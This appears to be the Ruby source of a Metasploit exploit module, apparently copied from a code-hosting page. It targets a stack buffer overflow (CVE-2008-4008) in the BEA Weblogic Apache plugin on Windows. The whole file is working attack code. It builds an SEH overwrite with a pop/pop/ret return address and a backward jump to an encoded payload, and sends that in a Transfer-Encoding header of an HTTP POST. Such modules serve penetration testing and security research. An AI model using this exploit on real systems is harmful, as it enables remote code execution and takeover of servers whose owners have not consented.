81 lines
2.1 KiB
Ruby
81 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerprint = { :pattern => [ /Apache/ ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
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'Description' => %q{
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This module exploits a stack based buffer overflow in the BEA
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Weblogic Apache plugin. This vulnerability exists in the
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error reporting for unknown Transfer-Encoding headers.
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You may have to run this twice due to timing issues with handlers.
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},
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'Author' => 'pusscat',
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'References' =>
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[
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[ 'CVE', '2008-4008' ],
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[ 'OSVDB', '49283' ],
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[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'seh',
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},
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'Privileged' => true,
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0d\x0a",
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'StackAdjustment' => -1500,
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},
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'Targets' =>
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[
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[ 'Windows Apache 2.2 version Universal',
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{
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'Ret' => 0x1001f4d6, #pop/pop/ret
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}
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],
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],
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'DisclosureDate' => 'Sep 09 2008',
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'DefaultTarget' => 0))
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end
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def exploit
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sploit = rand_text_alphanumeric(5800)
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sploit[5781, 8] = generate_seh_record(target.ret)
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# Jump backward to the payload
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sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
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sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded
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datastore['VHOST'] = 'localhost'
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send_request_cgi(
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{
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'method' => 'POST',
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'url' => '/index.jsp',
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'data' => '',
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'headers' =>
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{
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'Transfer-Encoding' => sploit
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}
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})
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handler
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end
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end
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